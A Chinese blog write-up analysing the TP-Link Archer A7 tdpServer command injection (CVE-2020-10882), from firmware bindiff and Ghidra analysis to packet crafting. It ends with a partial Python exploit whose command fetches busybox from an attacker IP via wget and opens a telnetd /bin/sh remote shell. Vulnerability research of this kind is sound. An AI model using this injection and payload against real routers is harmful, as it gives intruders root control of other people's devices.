TP-Link Archer A7漏洞分析与利用:从逆向工程到远程代码执行

本文详细分析了TP-Link Archer A7路由器中的CVE-2020-10882漏洞,该漏洞存在于tdpServer服务中,允许攻击者通过特制的UDP数据包实现远程代码执行。文章涵盖了从固件分析、逆向工程到最终漏洞利用的全过程。

环境搭建

调试和分析主要在路由器环境中进行。通过USB-TTL设备获取路由器交互式shell的方法已有相关指南,这里不再赘述。OpenWRT提供了指南1指南2说明具体操作。

对于代码分析,采用了bindiff方法来定位漏洞函数。可从以下链接下载有漏洞和已修复的固件版本:

  • 修复版本:Archer A7(US)_V5_200220
  • 漏洞版本:Archer C7(US)_V5_190726

注意Archer C7和A7型号共享大多数二进制文件,因此分析C7或A7固件镜像均可。

BinDiff分析

首先从固件中提取MIPS(Big Endian)二进制文件并加载到Ghidra中。按照BinDiffHelper项目的说明进行操作,同时下载安装bindiff6。

使用Ghidra和Bindiff后,发现几个相似度很低的函数。跟踪这些地址发现,FUN_00414D14似乎指向一个函数,这可能是存在漏洞的函数。

静态分析

根据ZDI网站上的CVE报告描述,漏洞存在于默认监听UDP端口20002的tdpServer服务中。当解析slave_mac参数时,该服务未正确验证用户输入的字符串就直接用于执行系统调用。

在反编译代码中搜索slave_mac字符串,发现多个结果。第一个搜索结果中,有多个地方包含slave_mac字符串,其中还包括对FUN_00414d14函数的引用。

关键的字符串"tdpUciInterface.c:644",“About to get slave mac %s info"只有一处引用,地址为0x40e7e4。根据Bindiff,这里很可能没有变化或差异。

寻找system()调用

根据CVE描述,我们需要寻找攻击者可能控制的system()函数调用。在FUN_00414d14函数中发现了三个system调用,其中一个特别有趣:

1
2
3
snprintf(interesting_acStack7432,0x1ff,
  "lua -e \'require(\"luci.controller.admin.onemesh\").sync_wifi_specified({mac=\"%s\"})\'"
  , to_be_controlled_acStack4248);

漏洞利用

在这个漏洞函数中,slave_mac值可以控制传递给system()的参数。我们可以通过以下步骤实现利用:

  1. 为MIPS Big Endian设置GDB服务器
  2. 测试与tdpServer的连接
  3. 制作有效载荷
  4. 完整漏洞利用

制作数据包

数据包由16字节的包头和最大0x410字节的JSON有效载荷组成。第一个字节表示tdp版本,这个固件只接受版本1的数据包。

数据包校验和计算使用CRC-32算法。校验通过后,有效载荷会使用IV和DecryptKey通过AES_DECRYPT在CBC模式下解密。

命令注入

slave_mac字段用于将字符写入文件p。该字段有17个字符的限制。命令注入工作原理如下:

1
lua -e 'require("luci.controller.admin.onemesh").sync_wifi_specified({mac=" ';INJECT HERE;' "})'

我们使用printf将字符追加到文件中,通过发送多个数据包构建完整脚本后执行。

完整漏洞利用

要实现反向shell,可以从我们的机器下载busybox,然后使用telnetd获取反向shell,通过wget命令逐个字符写入文件并执行。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
from pwn import *
import socket
import time
from Crypto.Cipher import AES
import zlib

ATTACKERIP = "192.168.0.125"
ATTACKPORT = "8090"
fileName = "m"

COMMAND = "wget http://"+ATTACKERIP+":8000/busybox-mips -P /tmp;chmod +x /tmp/busybox-mips;/tmp/busybox-mips telnetd -l /bin/sh -p "+ATTACKPORT + " " + ATTACKERIP + ";wget http://" +ATTACKERIP+":8000/index.jpg -P /www;"

[完整Python利用代码...]

该漏洞允许攻击者在root用户上下文中执行任意代码,危害极大。建议用户及时更新固件版本。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计